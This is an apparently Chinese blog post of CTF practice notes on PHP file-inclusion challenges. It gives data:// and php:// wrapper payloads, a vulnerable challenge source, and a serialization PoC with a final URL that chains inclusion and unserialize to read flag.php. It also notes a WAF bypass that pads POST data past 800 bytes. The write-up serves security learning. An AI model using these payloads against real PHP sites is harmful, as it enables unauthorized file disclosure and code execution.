文件包含刷题

1.[SWPUCTF 2021 新生赛]PseudoProtocols

根据提示,hint在hint.php中。通过伪协议去读取hint.php

再去读取

test2222222222222.php

 ?a=data://text/plain,I want flag

2.[NISACTF 2022]easyssrf

顺便输入了一个flag.php  提示查看提示文件/fl4g

然后我就试了/fl4g  .../fl4g   .../.../fl4g   .../.../.../fl4g 都不行,就选择用伪协议了。

3.[ZJCTF 2019]NiZhuanSiWei

第一个判断通第一题

text=data://text/plain,welcome to the zjctf

 后面的提示useless.php,用伪协议

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
}
$a=new Flag();
echo serialize($a);

?>  

 最后的playload  text不变,file不再使用读取作用只要包含就行所以不用加伪协议,password使用上面的poc

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

4.[鹏城杯 2022]简单包含

尝试伪协议读取flag.php,有waf。接着读取index.php可以看到数据

直接让条件不成立

让post数据大于800字节

这里我加了一堆a等于a

5.[SWPUCTF 2022 新生赛]ez_ez_php

直接伪协议读取flag.php

发现flag再flag文件里面

6.[GDOUCTF 2023]泄露的伪装

7.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值